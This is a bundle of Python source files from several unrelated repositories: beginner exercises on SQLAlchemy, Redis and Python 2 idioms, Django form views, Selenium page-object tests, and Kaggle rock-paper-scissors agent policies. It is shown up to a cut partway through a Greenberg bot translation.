utf-8 from sqlalchemy import create_engine from sqlalchemy.ext.declarative import declarative_base from sqlalchemy import Column, String, Integer, TIMESTAMP, Boolean from sqlalchemy.orm import sessionmaker engine = create_engine('mysql://root@localhost:3306/test_news?charset=utf8') Base = declarative_base() class News(Base): __tablename__ = 'news' id = Column(Integer, primary_key=True) title = Column(String(200), nullable=False) content = Column(String(2000), nullable=False) news_type = Column(String(20), nullable=False) img_url = Column(String(200)) author = Column(String(20)) view_count = Column(Integer) create_at = Column(TIMESTAMP, default=text('now()')) updated_at = Column(TIMESTAMP) is_vaild = Column(Boolean) class ORMTest(object): def __init__(self): self.session = Session() def add_one(self): new_obj = News( title='标题', content='内容', news_type='体育', ) self.session.add(new_obj) self.session.commit() def get_one(self): '''获取一条数据''' return self.session.query(News).get(1) def get_more(self): '''获取多条数据''' return self.session.query(News).filter_by(is_vaild=1) def update_data(self, pk): '''更新数据''' datas = self.session.query(News).filter_by(is_vaild=1) for data in datas: # data = self.session.query(News).get(pk) data.is_vaild = 0 if data: self.session.add(data) else: return False self.session.commit() return True def delete_data(self): '''删除数据''' data = self.session.query(News).get(1) self.session.delete(data) self.session.commit() def main(): obj = ORMTest() obj.add_one() if __name__ == '__main__': main( ) --- FILE SEPARATOR --- # http://redis-py.readthedocs.io/en/latest/ import redis class Base(object): def __init__(self): '''连接redis数据库''' self.r = redis.StrictRedis(host='localhost', port=6379, db=0) ''' set -- 设置值 mset -- 设置多个键值对 mget -- 获取多个键值对 append -- 添加字符串 del -- 删除 incr/decr -- 增加/减少 1 ''' class TestString(Base): def test_set(self): '''set -- 设置值''' res = self.r.set('user2', 'Amy') print(res) return res def test_get(self): '''get -- 设置值''' res = self.r.get('user2') print(res) return res def test_mset(self): '''mset -- 多个键值对''' d = { 'user3': 'Tony', 'user4': 'Tom' } res = self.r.mset(d) print(res) return res def test_mget(self): '''mget -- 多个键值对''' l = ['user3', 'user4'] res = self.r.mget(l) print(res) return res def test_del(self): '''del -- 删除''' res = self.r.delete('user3') print(res) return res ''' lpush/rpush -- 从左/右插入数据 lrange -- 获取指定长度的数据 ltrim -- 获取一定长度的数据 lpop/rpop -- 移除最左/最右的数据并返回 lpushx/rpushx -- key存在的时候才插入数据,不存在不做任何处理 ''' class TestList(Base): def test_push(self): '''lpush/rpush -- 从左/右插入数据''' s = ['left', 'right'] res = self.r.lpush('stdents', *s) print(res) res = self.r.lrange('stdents', -1, 0) print(res) return res def test_ltrim(self): '''ltrim -- 按一定长度修剪数据''' res = self.r.ltrim('stdents', -1, 0) print(res) return res def test_pop(self): '''lpop/rpop -- 移除最左/最右的数据并返回''' res = self.r.lpop('stdents') print(res) res = self.r.lrange('stdents', -1, 0) print(res) return res def test_pushx(self): '''lpushx/rpushx -- key存在的时候才插入数据,不存在不做任何处理''' res = self.r.lpushx('user5', 'Amy') print(res) return res ''' sadd/srem -- 添加/删除数据 sismember -- 判断是否set一个item smenmbers -- 返回该集合所有的item sdiff -- 返回一个集合与其它集合的差异 sinter -- 返回几个集合的并集 sunion -- 返回几个集合的交集 ''' class TestSet(Base): def test_sadd(self): 'sadd/srem -- 添加/删除数据' l = ('lion', 'tiger') res = self.r.sadd('animal1', *l) print(res) res = self.r.smenmbers('animal1') print(res) return res def test_srem(self): '''sadd/srem -- 添加/删除数据''' res = self.r.srem('animal2', 'lion') print(res) res = self.r.smenmbers('animal2') print(res) return res def test_sinter(self): '''sinter -- 返回几个集合的并集''' res = self.r.sinter('animal1', 'animal2') print(res) return res def test_sunion(self): '''sinter -- 返回几个集合的交集''' res = self.r.sunion('animal1', 'animal2') print(res) return res def main(): str_obj = TestString() res = str_obj.test_set() # str_obj.test_get() # str_obj.test_mset() # str_obj.test_mget() # str_obj.test_del() print(res) if __name__ == '__main__': main() --- FILE SEPARATOR --- from random import randint from collections import Counter data = [randint(0, 20) for _ in xrange(30)] c = dict.fromkeys(data, 0) for x in data: c[x] += 1 c2 = Counter(data) print c2.most_common(3) --- FILE SEPARATOR --- from random import randint g = {x: randint(60,100) for x in 'xyzabc'} g_sorted = sorted(g.items(), key = lambda x: x[1]) print g_sorted --- FILE SEPARATOR --- from collections import OrderedDict from time import time from random import randint d = OrderedDict() players = list('abcdefgh') start = time() for i in xrange(len(players)): raw_input() p = players.pop(randint(0, 7 - i)) end = time() print i + 1, p, end - start d[p] = (i+1, end - start) print print '-' *20 for k in d: print k, d[k] --- FILE SEPARATOR --- from random import randint, sample name = sample('abcdefg', randint(2,4)) g = {x: randint(1,4) for x in name} s1 = g s2 = g s3 = g j = reduce(lambda a,b: a&b, map(dict.viewkeys, [s1, s2, s3])) print j --- FILE SEPARATOR --- #-*- coding:utf-8 –*- #猜数字游戏 from random import randint from collections import deque history = deque([], 5) N = randint(0, 100) def guess(k): if k == N: print "Right!" return True if k < N: print '%s is less than N' %k else: print '%s is bigger than N' %k return False while True: line = raw_input("请输入一个0~100之间的数:") if line.isdigit(): k = int(line) history.append(k) if guess(k): break elif line == 'history' or line == 'h': print list(history) --- FILE SEPARATOR --- #coding: utf8 #对多种分隔符进行分割 import re def mySplit(s, ds): res = [s] for d in ds: t = [] map(lambda x: t.extend(x.split(d)), res) res = t return [x for x in res if x] s = 'adf;sdf|sdfaf,asdfas\tasdf/adsffsd,afda' #print mySplit(s, ';|\/,') print re.split(r'[;|\t/,]+', s) --- FILE SEPARATOR --- # -*- coding: utf-8 -*- # @Time : 2017/12/3 23:19 # @File : 4_1.py # 将多个小字符拼接成一个大字符 pj = ["<123>","<sad>","<wqe>","<23>","<fs>"] # 拼接的字符比较少的时候可以用,字符多的时候会造成浪费 s = '' for x in pj: s += x # 字符多的时候 bz = ''.join(pj) print bz --- FILE SEPARATOR --- # -*- coding: utf-8 -*- # @Time : 2017/12/4 21:08 # @File : 4_2.py # Python 2 and Python 3 读写文本, 读写入文本中的数据都是字节,读写数据时都需要编码。 # Python 2 f = open('py2.txt','w') s = u"你好" f.write(s.encode('utf8')) f.close() f = open('py2.txt','r') t = f.read() print t.decode('utf8') # Python 3 f = open('py3.txt', 'wt', encoding='utf8') f.write('Hello, world!') f.close() f = open('py3.txt', 'rt', encoding='utf8') print f.read() --- FILE SEPARATOR --- # -*- coding: utf-8 -*- # @Time : 2017/12/5 22:27 # @File : 6_4.py # 读写excel文件 import xlrd, xlwt rbook = xlrd.open_workbook('C:\Users\cyf\Desktop\Demo.xlsx') rsheet = rbook.sheet_by_index(0) nc = rsheet.ncols rsheet.put_cell(0, nc, xlrd.XL_CELL_TEXT, u'总分', None) for row in xrange(1, rsheet.nrows): n = sum(rsheet.row_values(row, 1)) rsheet.put_cell(row, nc, xlrd.XL_CELL_NUMBER, n, None) wbook = xlwt.Workbook() wsheet = wbook.add_sheet(rsheet.name) style = xlwt.easyxf('align: vertical center, horizontal center') for r in xrange(rsheet.nrows): for c in xrange(rsheet.ncols): wsheet.write(r, c, rsheet.cell_value(r, c), style) wbook.save('C:\Users\cyf\Desktop\Demo1.xls') --- FILE SEPARATOR --- # -*- coding: utf-8 -*- # @Time : 2017/12/6 20:43 # @File : 7_1.py # 派生内置不可变类型并修改实例化行为 class IntTuple(tuple): def __new__(cls, iterable): g = (x for x in iterable if isinstance(x, int) and x > 0) return super(IntTuple, cls).__new__(cls, g) def __init__(self, iterable): super(IntTuple, self).__init__(iterable) t = IntTuple([1,-3,'ads',5,['x', 'r'],9]) print t --- FILE SEPARATOR --- # -*- coding: utf-8 -*- # @Time : 2017/12/6 21:30 # @File : 7_5.py # 让类支持比较操作 from functools import total_ordering from abc import abstractmethod from math import pi @total_ordering #修饰器推测出了__eq__ 和 __gt__ class Shape(object): @abstractmethod def area(self): pass def __lt__(self, obj): if not isinstance(obj, Shape): raise TypeError('obj is not Shape!') return self.area() < obj.area() def __eq__(self, obj): if not isinstance(obj, Shape): raise TypeError('obj is not Shape!') return self.area() == obj.area() ''' def __le__(self, obj): return self < obj or self == obj def __gt__(self, obj): return not (self < obj or self == obj) ''' class Rectangle(Shape): def __init__(self, w, h): self.w = w self.h = h def area(self): return self.w * self.h class Circle(Shape): def __init__(self, r): self.r = r def area(self): return self.r ** 2 * pi r1 = Rectangle(5, 3) r2 = Rectangle(4,2) c = Circle(2) print c > r2 # r1.__lt__(r2) --- FILE SEPARATOR --- # -*- coding: utf-8 -*- # @Time : 2017/12/6 21:58 # @File : 7_6.py # 使用描述对实例属性做类型检查 class Attr(object): def __init__(self, name, type_): self.name = name self.type_ = type_ def __get__(self, instance, cls): return instance.__dict__[self.name] def __set__(self, instance, value): if not isinstance(value, self.type_): raise TypeError('expected an %s' % self.type_) instance.__dict__[self.name] = value def __delete__(self, instance): return instance.__dict__[self.name] class Person(object): name = Attr('name', str) age = Attr('age', int) height = Attr('height', float) p = Person() p.age = '/gg' print p.age --- FILE SEPARATOR --- # -*- coding: utf-8 -*- # @Time : 2017/12/6 22:36 # @File : 8_1.py # 如何使用多线程 import csv from xml.etree.ElementTree import Element, ElementTree import requests from StringIO import StringIO from threading import Thread from xml_pretty import save_xml def download(url): response = requests.get(url, timeout=3) if response.ok: return StringIO(response.content) def csvToXml(scsv, fxml): reader = csv.reader(scsv) headers = reader.next() headers = map(lambda h: h.replase(' ', ''), headers) root = Element('Data') for row in reader: eRow = Element('Row') root.append(eRow) for tag, text in zip(headers. row): e = Element(tag) e.text = text eRow.append(e) et = ElementTree(root) et.write(fxml) def handle(sid): print 'Download...(%d)' % sid url = 'http://table.finance.yahoo.com/table.csv?s=%s.sz' url %= str(sid).rjust(6, '0') rf = download(url) if rf is None: return print 'Conver to Xml...(%d)' % sid fname = str(sid).rjust(6, '0') + '.xml' with open(fname, 'wb') as wf: csvToXml(rf, wf) save_xml(fname) ''' t= Thread(target=handle, args=(1,0)) t.start() ''' class MyThread(Thread): def __init__(self, sid): Thread.__init__(self) self.sid = sid def run(self): handle(self.sid) threads = [] for i in xrange(1, 5): t = MyThread(i) threads.append(t) t.start() for t in threads: t.join() print 'main thread' --- FILE SEPARATOR --- # -*- coding: utf-8 -*- # @Time : 2017/12/7 20:54 # @File : 8_2.py # 线程之间的通讯(生产者和消费者模式) import csv from xml.etree.ElementTree import Element, ElementTree import requests from StringIO import StringIO from threading import Thread from Queue import Queue class DownloadThread(Thread): def __init__(self, sid, queue): Thread.__init__(self) self.sid = sid self.queue = queue self.url = 'http://table.finance.yahoo.com/table.csv?s=%s.sz' self.url %= str(sid).rjust(6, '0') def download(self, url): response = requests.get(url, timeout=3) if response.ok: return StringIO(response.content) def run(self): print 'Download', self.sid data = self.download(self.url) self.queue.put((self.sid, data)) class ConvertThread(Thread): def __init__(self, queue): Thread.__init__(self) self.queue = queue def csvToXml(self, scsv, fxml): reader = csv.reader(scsv) headers = reader.next() headers = map(lambda h: h.replase(' ', ''), headers) root = Element('Data') for row in reader: eRow = Element('Row') root.append(eRow) for tag, text in zip(headers. row): e = Element(tag) e.text = text eRow.append(e) et = ElementTree(root) et.write(fxml) def run(self): while True: sid, data = self.queue.get() print 'Convert Thread', sid if sid == -1: break if data: fname = str(sid).rjust(6, '0') + '.xml' with open(fname, 'wb') as wf: self.csvToXml(data, wf) q = Queue() dThreads = [DownloadThread(i, q) for i in xrange(1,11)] cThread = ConvertThread(q) for t in dThreads: t.start() cThread.start() for t in dThreads: t.join() q.put((-1, None)) print 'main thread' --- FILE SEPARATOR --- # -*- coding: utf-8 -*- # @Time : 2017/12/8 22:20 # @File : 9_1.py # 如何使用修饰器 #装饰器 def memo(func): cache = {} def wrap(*args): if args not in cache: cache[args] = func(*args) return cache[args] return wrap # 斐波那契数列: @memo #相当于fibonacii = memo(fibonacii) def fibonacii(n): if n <=1: return 1 return fibonacii(n - 1) + fibonacii(n - 2) # fibonacii = memo(fibonacii) print fibonacii(20) # 一共10个台阶的楼梯,从下到上,一次只能迈1-3步,不能后退,有多少种走法 @memo def cilmb(n, steps): count = 0 if n == 0: count = 1 if n > 1: for step in steps: count += cilmb(n - step, steps) return count --- FILE SEPARATOR --- # -*- coding: utf-8 -*- # @Time : 2017/12/8 23:40 # @File : 9_6.py # 如何在一个for语句中迭代多个可迭代对象 from random import randint chinese = [randint(60, 100) for _ in xrange(10)] english = [randint(60, 100) for _ in xrange(10)] math = [randint(60, 100) for _ in xrange(10)] total = [] for c, e, m in zip(chinese, english, math): total.append(c + e + m) print(total) from itertools import chain count = 0 for s in chain(chinese, math, english): if s > 90: count += 1 print count --- FILE SEPARATOR --- # -*- coding: utf-8 -*- # @Time : 2017/12/7 21:36 # @File : tar.py # 将xml文件打包 import tarfile import os def tarXml(tfname): tf = tarfile.open(tfname, 'w:gz') for fname in os.listdir('.'): if fname.endswith('.xml'): tf.add(fname) os.remove(fname) tf.close() if not tf.members: os.remove(tfname) tarXml('test.zip') --- FILE SEPARATOR --- # -*- coding: utf-8 -*- # @Time : 2017/12/6 22:55 # @File : xml_pretty.py # Make xml to be pretty import re def save_xml(self, file_name): xml_str = self.m_dom.toprettyxml(indent=" ") repl = lambda x: ">%s</" % x.group(1).strip() if len(x.group(1).strip()) != 0 else x.group(0) pretty_str = re.sub(r'>\n\s*([^<]+)</', repl, xml_str) open(file_name, 'w').write(pretty_str)
[ "/Algorithm/Demo.py", "/Algorithm/Search/BinarySearch.py", "/Algorithm/Search/SequentialSearch.py", "/Algorithm/Sort/BubbleSort.py", "/Algorithm/Sort/HeapSort.py", "/Algorithm/Sort/InsertSort.py", "/Algorithm/Sort/MergeSort.py", "/Algorithm/Sort/QuickSort.py", "/Algorithm/Sort/RadixSort.py", "/Algorithm/Sort/SelectSort.py", "/Algorithm/Sort/ShellSort.py", "/Algorithm/Sort/generateArrayHelper.py", "/Algorithm/leetcode/AssignCookies.py", "/Algorithm/leetcode/ClimbStairs.py", "/Algorithm/leetcode/DeleteDuplicates.py", "/Algorithm/leetcode/HouseRobber.py", "/Algorithm/leetcode/KeyboardRow.py", "/Algorithm/leetcode/MergeTwoLists.py", "/Algorithm/leetcode/MinCostClimbingStairs.py", "/Algorithm/leetcode/MinStack.py", "/Algorithm/leetcode/ReverseString.py", "/Algorithm/leetcode/SingleNumber.py", "/Algorithm/leetcode/SymmetricTree.py", "/Algorithm/leetcode/TwoSum.py", "/Python/bcrypt.py", "/Python/decorator.py", "/SQL/__init__.py", "/SQL/test_mongoDB.py", "/SQL/test_mongoDB_ODM.py", "/SQL/test_mysql.py", "/SQL/test_mysql_orm.py", "/SQL/test_redis.py", "/python_improve/2_1.py", "/python_improve/2_2.py", "/python_improve/2_3.py", "/python_improve/2_4.py", "/python_improve/2_5.py", "/python_improve/3_4.py", "/python_improve/4_1.py", "/python_improve/4_2.py", "/python_improve/6_4.py", "/python_improve/7_1.py", "/python_improve/7_5.py", "/python_improve/7_6.py", "/python_improve/8_1.py", "/python_improve/8_2.py", "/python_improve/9_1.py", "/python_improve/9_6.py", "/python_improve/tar.py", "/python_improve/xml_pretty.py" ]
0Ndev/django-basic-form
from django.shortcuts import render from basicapp import forms # Create your views here. def index(req): return render(req, 'index.html') def form_name_view(req): form = forms.FormBasic() if req.method == 'POST': form = forms.FormBasic(req.POST) if form.is_valid(): print("validation success") print("NAME" + form.cleaned_data['name']) print("EMAIL" + form.cleaned_data['email']) print("TEXT" + form.cleaned_data['text']) return render(req, 'form.html', {'form': form}) --- FILE SEPARATOR --- from basicapp.views import index from django.shortcuts import render from user_form.forms import NewUserForm def users(req): form = NewUserForm() if req.method == 'POST': form = NewUserForm(req.POST) if form.is_valid(): form.save(commit=True) return index(req) else: print("ERROR form invalid") return render(req, 'user.html', {'form': form})
[ "/basicapp/views.py", "/user_form/views.py" ]
0Sunray0/stepik_final_task
from .base_page import BasePage from .locators import BasketPageLocators class BasketPage(BasePage): def should_be_empty_basket(self): assert self.is_not_element_present(*BasketPageLocators.PRODUCT_IN_THE_BASKET), \ "The product is in the basket, but the cart must be empty" def should_be_empty_basket_message(self): assert self.is_element_present(*BasketPageLocators.EMPTY_BASKET_MESSAGE), \ "A message with the text about an empty basket was not found, but it should be" --- FILE SEPARATOR --- from selenium.webdriver.common.by import By class LoginPageLocators: REGISTRATION_FORM = (By.CSS_SELECTOR, "[id ='register_form']") LOGIN_FORM = (By.CSS_SELECTOR, "[id ='login_form']") EMAIL_ADDRESS = (By.CSS_SELECTOR, "[name='registration-email']") PASSWORD = (By.CSS_SELECTOR, "[name='registration-password1']") CONFIRM_PASSWORD = (By.CSS_SELECTOR, "[name='registration-password2']") BUTTON_REGISTER = (By.CSS_SELECTOR, "#register_form > button") class ProductPageLocators: ADD_TO_BASKET = (By.CSS_SELECTOR, "[class ='btn btn-lg btn-primary btn-add-to-basket']") PRODUCT_NAME = (By.CSS_SELECTOR, "ul.breadcrumb li.active") PRODUCT_PRICE = (By.CSS_SELECTOR, ".col-sm-6 p.price_color") MESSAGE_ITEM_ADDED_TO_BASKET = (By.CSS_SELECTOR, "div.alertinner strong") MESSAGE_BASKET_PRICE = (By.CSS_SELECTOR, ".alert.alert-safe.alert p strong") SUCCESS_MESSAGE = (By.CSS_SELECTOR, "#messages div:nth-child(1)") class BasePageLocators: LOGIN_LINK = (By.CSS_SELECTOR, "#login_link") LOGIN_LINK_INVALID = (By.CSS_SELECTOR, "#login_link_inc") USER_ICON = (By.CSS_SELECTOR, ".icon-user") class BasketPageLocators: BASKET_LINK = (By.CSS_SELECTOR, "a[class='btn btn-default']") PRODUCT_IN_THE_BASKET = (By.CSS_SELECTOR, "#id_form-0-quantity") EMPTY_BASKET_MESSAGE = (By.CSS_SELECTOR, "div#content_inner:nth-child(2) p") --- FILE SEPARATOR --- from .base_page import BasePage from .locators import LoginPageLocators class LoginPage(BasePage): def should_be_login_page(self): self.should_be_login_url() self.should_be_login_form() self.should_be_register_form() def should_be_login_url(self): assert "/login/" in self.browser.current_url, "Substring '/login/' is not present in the current url" def should_be_login_form(self): assert self.is_element_present(*LoginPageLocators.LOGIN_FORM), "Login form not found" def should_be_register_form(self): assert self.is_element_present(*LoginPageLocators.REGISTRATION_FORM), "Register form not found" def register_new_user(self, email, password): input_email = self.browser.find_element(*LoginPageLocators.EMAIL_ADDRESS) input_email.send_keys(email) input_password = self.browser.find_element(*LoginPageLocators.PASSWORD) input_password.send_keys(password) input_confirm_password = self.browser.find_element(*LoginPageLocators.CONFIRM_PASSWORD) input_confirm_password.send_keys(password) button_register = self.browser.find_element(*LoginPageLocators.BUTTON_REGISTER) button_register.click() --- FILE SEPARATOR --- from .base_page import BasePage from .locators import ProductPageLocators class ProductPage(BasePage): def should_be_a_button_to_add_to_basket(self): assert self.is_element_present(*ProductPageLocators.ADD_TO_BASKET), "Button 'Add to basket' not found" def add_product_to_basket(self): basket = self.browser.find_element(*ProductPageLocators.ADD_TO_BASKET) basket.click() def should_be_message_item_added_to_basket(self): message_product_name = self.browser.find_element(*ProductPageLocators.MESSAGE_ITEM_ADDED_TO_BASKET).text product_name = self.browser.find_element(*ProductPageLocators.PRODUCT_NAME).text assert message_product_name == product_name, "The product name in the message does not match the added product." def should_be_basket_value_message(self): message_product_price = self.browser.find_element(*ProductPageLocators.MESSAGE_BASKET_PRICE).text product_price = self.browser.find_element(*ProductPageLocators.PRODUCT_PRICE).text assert message_product_price == product_price, "The price of the basket does not match the price of the item." def should_not_be_success_message(self): assert self.is_not_element_present(*ProductPageLocators.SUCCESS_MESSAGE), \ "Success message is presented, but should not be" def should_be_the_success_message_disappears(self): assert self.is_disappeared(*ProductPageLocators.SUCCESS_MESSAGE), \ "The success message does not disappear, but should"
[ "/pages/basket_page.py", "/pages/locators.py", "/pages/login_page.py", "/pages/product_page.py" ]
0Zeta/RockPaperScissors
import operator import numpy as np import pandas as pd import cmath from collections import namedtuple from rpskaggle.helpers import Policy, one_hot, EQUAL_PROBS class AntiGeometryPolicy(Policy): """ a counter to the popular Geometry bot written by @robga adapted from https://www.kaggle.com/robga/beating-geometry-bot/output """ def __init__(self): super().__init__() self.name = "anti_geometry_policy" self.is_deterministic = False self.opp_hist = [] self.my_opp_hist = [] self.offset = 0 self.last_feat = None self.basis = np.array( [1, cmath.exp(2j * cmath.pi * 1 / 3), cmath.exp(2j * cmath.pi * 2 / 3)] ) self.HistMatchResult = namedtuple("HistMatchResult", "idx length") def find_all_longest(self, seq, max_len=None): result = [] i_search_start = len(seq) - 2 while i_search_start > 0: i_sub = -1 i_search = i_search_start length = 0 while i_search >= 0 and seq[i_sub] == seq[i_search]: length += 1 i_sub -= 1 i_search -= 1 if max_len is not None and length > max_len: break if length > 0: result.append(self.HistMatchResult(i_search_start + 1, length)) i_search_start -= 1 return sorted(result, key=operator.attrgetter("length"), reverse=True) def complex_to_probs(self, z): probs = (2 * (z * self.basis.conjugate()).real + 1) / 3 if min(probs) < 0: probs -= min(probs) return probs / sum(probs) def _get_probs(self, step: int, score: int, history: pd.DataFrame) -> np.ndarray: if len(history) == 0: return EQUAL_PROBS else: self.action = int(history.loc[step - 1, "action"]) self.my_opp_hist.append( (int(history.loc[step - 1, "opponent_action"]), self.action) ) self.opp_hist.append(self.action) if self.last_feat is not None: this_offset = ( self.basis[(self.opp_hist[-1] + 1) % 3] ) * self.last_feat.conjugate() self.offset = (1 - 0.01) * self.offset + 0.01 * this_offset hist_match = self.find_all_longest(self.my_opp_hist, 20) if not hist_match: pred = 0 else: feat = self.basis[self.opp_hist[hist_match[0].idx]] self.last_feat = self.complex_to_probs(feat / abs(feat)) @ self.basis pred = self.last_feat * self.offset * cmath.exp(2j * cmath.pi * 1 / 9) probs = self.complex_to_probs(pred) if probs[np.argmax(probs)] > 0.334: return one_hot((int(np.argmax(probs)) + 1) % 3) else: return probs --- FILE SEPARATOR --- """ Adapted from @superant´s "RPS Geometry" notebook https://www.kaggle.com/superant/rps-geometry-silver-rank-by-minimal-logic """ import operator import numpy as np import pandas as pd import cmath from typing import List from collections import namedtuple import traceback import sys from rpskaggle.helpers import Policy, EQUAL_PROBS basis = np.array( [1, cmath.exp(2j * cmath.pi * 1 / 3), cmath.exp(2j * cmath.pi * 2 / 3)] ) HistMatchResult = namedtuple("HistMatchResult", "idx length") def find_all_longest(seq, max_len=None) -> List[HistMatchResult]: """ Find all indices where end of `seq` matches some past. """ result = [] i_search_start = len(seq) - 2 while i_search_start > 0: i_sub = -1 i_search = i_search_start length = 0 while i_search >= 0 and seq[i_sub] == seq[i_search]: length += 1 i_sub -= 1 i_search -= 1 if max_len is not None and length > max_len: break if length > 0: result.append(HistMatchResult(i_search_start + 1, length)) i_search_start -= 1 result = sorted(result, key=operator.attrgetter("length"), reverse=True) return result def probs_to_complex(p): return p @ basis def _fix_probs(probs): """ Put probs back into triangle. Sometimes this happens due to rounding errors or if you use complex numbers which are outside the triangle. """ if min(probs) < 0: probs -= min(probs) probs /= sum(probs) return probs def complex_to_probs(z): probs = (2 * (z * basis.conjugate()).real + 1) / 3 probs = _fix_probs(probs) return probs def z_from_action(action): return basis[action] def sample_from_z(z): probs = complex_to_probs(z) return np.random.choice(3, p=probs) def bound(z): return probs_to_complex(complex_to_probs(z)) def norm(z): return bound(z / abs(z)) class Pred: def __init__(self, *, alpha): self.offset = 0 self.alpha = alpha self.last_feat = None def train(self, target): if self.last_feat is not None: offset = target * self.last_feat.conjugate() # fixed self.offset = (1 - self.alpha) * self.offset + self.alpha * offset def predict(self, feat): """ feat is an arbitrary feature with a probability on 0,1,2 anything which could be useful anchor to start with some kind of sensible direction """ feat = norm(feat) # offset = mean(target - feat) # so here we see something like: result = feat + mean(target - feat) # which seems natural and accounts for the correlation between target and feat # all RPSContest bots do no more than that as their first step, just in a different way result = feat * self.offset self.last_feat = feat return result class BaseAgent(Policy): def __init__(self): super().__init__() self.name = "geometry_policy" self.is_deterministic = False self.my_hist = [] self.opp_hist = [] self.my_opp_hist = [] self.outcome_hist = [] self.step = None def _get_probs(self, step: int, score: int, history: pd.DataFrame) -> np.ndarray: try: if step == 0: return EQUAL_PROBS else: self.my_hist.append(int(history.loc[step - 1, "action"])) self.step = step opp = int(history.loc[step - 1, "opponent_action"]) my = self.my_hist[-1] self.my_opp_hist.append((my, opp)) self.opp_hist.append(opp) outcome = {0: 0, 1: 1, 2: -1}[(my - opp) % 3] self.outcome_hist.append(outcome) probs = self.calculate_probs() return probs except Exception: traceback.print_exc(file=sys.stderr) return EQUAL_PROBS def calculate_probs(self) -> np.ndarray: pass class GeometryPolicy(BaseAgent): def __init__(self, alpha=0.01): super().__init__() self.name = "geometry_" + str(alpha) + "_policy" self.predictor = Pred(alpha=alpha) def calculate_probs(self) -> np.ndarray: self.train() pred = self.preds() return complex_to_probs(pred) def train(self): last_beat_opp = z_from_action((self.opp_hist[-1] + 1) % 3) self.predictor.train(last_beat_opp) def preds(self): hist_match = find_all_longest(self.my_opp_hist, max_len=20) if not hist_match: return 0 feat = z_from_action(self.opp_hist[hist_match[0].idx]) pred = self.predictor.predict(feat) return pred --- FILE SEPARATOR --- """ greenberg roshambo bot, winner of 2nd annual roshambo programming competition http://webdocs.cs.ualberta.ca/~darse/rsbpc.html original source by Andrzej Nagorko http://www.mathpuzzle.com/greenberg.c Python translation by Travis Erdman https://github.com/erdman/roshambo """ import numpy as np import pandas as pd from rpskaggle.helpers import Policy, one_hot def player(my_moves, opp_moves): import random from operator import itemgetter rps_to_text = ("rock", "paper", "scissors") rps_to_num = {"rock": 0, "paper": 1, "scissors": 2} wins_with = (1, 2, 0) # superior best_without = (2, 0, 1) # inferior lengths = (10, 20, 30, 40, 49, 0) p_random = random.choice([0, 1, 2]) # called 'guess' in iocaine TRIALS = 1000 score_table = ((0, -1, 1), (1, 0, -1), (-1, 1, 0)) T = len(opp_moves) # so T is number of trials completed def min_index(values): return min(enumerate(values), key=itemgetter(1))[0] def max_index(values): return max(enumerate(values), key=itemgetter(1))[0] def find_best_prediction(l): # l = len bs = -TRIALS bp = 0 if player.p_random_score > bs: bs = player.p_random_score bp = p_random for i in range(3): for j in range(24): for k in range(4): new_bs = player.p_full_score[T % 50][j][k][i] - ( player.p_full_score[(50 + T - l) % 50][j][k][i] if l else 0 ) if new_bs > bs: bs = new_bs bp = (player.p_full[j][k] + i) % 3 for k in range(2): new_bs = player.r_full_score[T % 50][j][k][i] - ( player.r_full_score[(50 + T - l) % 50][j][k][i] if l else 0 ) if new_bs > bs: bs = new_bs bp = (player.r_full[j][k] + i) % 3 for j in range(2): for k in range(2): new_bs = player.p_freq_score[T % 50][j][k][i] - ( player.p_freq_score[(50 + T - l) % 50][j][k][i] if l else 0 ) if new_bs > bs: bs = new_bs bp = (player.p_freq[j][k] + i) % 3 new_bs = player.r_freq_score[T % 50][j][k][i] - ( player.r_freq_score[(50 + T - l) % 50][j][k][i] if l else 0 ) if new_bs > bs: bs = new_bs bp = (player.r_freq[j][k] + i) % 3 return bp if not my_moves: player.opp_history = [ 0 ] # pad to match up with 1-based move indexing in original player.my_history = [0] player.gear = [[0] for _ in range(24)] # init() player.p_random_score = 0 player.p_full_score = [ [[[0 for i in range(3)] for k in range(4)] for j in range(24)] for l in range(50) ] player.r_full_score = [ [[[0 for i in range(3)] for k in range(2)] for j in range(24)] for l in range(50) ] player.p_freq_score = [ [[[0 for i in range(3)] for k in range(2)] for j in range(2)] for l in range(50) ] player.r_freq_score = [ [[[0 for i in range(3)] for k in range(2)] for j in range(2)] for l in range(50) ] player.s_len = [0] * 6 player.p_full = [[0, 0, 0, 0] for _ in range(24)] player.r_full = [[0, 0] for _ in range(24)] else: player.my_history.append(rps_to_num[my_moves[-1]]) player.opp_history.append(rps_to_num[opp_moves[-1]]) # update_scores() player.p_random_score += score_table[p_random][player.opp_history[-1]] player.p_full_score[T % 50] = [ [ [ player.p_full_score[(T + 49) % 50][j][k][i] + score_table[(player.p_full[j][k] + i) % 3][player.opp_history[-1]] for i in range(3) ] for k in range(4) ] for j in range(24) ] player.r_full_score[T % 50] = [ [ [ player.r_full_score[(T + 49) % 50][j][k][i] + score_table[(player.r_full[j][k] + i) % 3][player.opp_history[-1]] for i in range(3) ] for k in range(2) ] for j in range(24) ] player.p_freq_score[T % 50] = [ [ [ player.p_freq_score[(T + 49) % 50][j][k][i] + score_table[(player.p_freq[j][k] + i) % 3][player.opp_history[-1]] for i in range(3) ] for k in range(2) ] for j in range(2) ] player.r_freq_score[T % 50] = [ [ [ player.r_freq_score[(T + 49) % 50][j][k][i] + score_table[(player.r_freq[j][k] + i) % 3][player.opp_history[-1]] for i in range(3) ] for k in range(2) ] for j in range(2) ] player.s_len = [ s + score_table[p][player.opp_history[-1]] for s, p in zip(player.s_len, player.p_len) ] # update_history_hash() if not my_moves: player.my_history_hash = [[0], [0], [0], [0]] player.opp_history_hash = [[0], [0], [0], [0]] else: player.my_history_hash[0].append(player.my_history[-1]) player.opp_history_hash[0].append(player.opp_history[-1]) for i in range(1, 4): player.my_history_hash[i].append( player.my_history_hash[i - 1][-1] * 3 + player.my_history[-1] ) player.opp_history_hash[i].append( player.opp_history_hash[i - 1][-1] * 3 + player.opp_history[-1] ) # make_predictions() for i in range(24): player.gear[i].append((3 + player.opp_history[-1] - player.p_full[i][2]) % 3) if T > 1: player.gear[i][T] += 3 * player.gear[i][T - 1] player.gear[i][ T ] %= 9 # clearly there are 9 different gears, but original code only allocated 3 gear_freq's # code apparently worked, but got lucky with undefined behavior # I fixed by allocating gear_freq with length = 9 if not my_moves: player.freq = [[0, 0, 0], [0, 0, 0]] value = [[0, 0, 0], [0, 0, 0]] else: player.freq[0][player.my_history[-1]] += 1 player.freq[1][player.opp_history[-1]] += 1 value = [ [ (1000 * (player.freq[i][2] - player.freq[i][1])) / float(T), (1000 * (player.freq[i][0] - player.freq[i][2])) / float(T), (1000 * (player.freq[i][1] - player.freq[i][0])) / float(T), ] for i in range(2) ] player.p_freq = [ [wins_with[max_index(player.freq[i])], 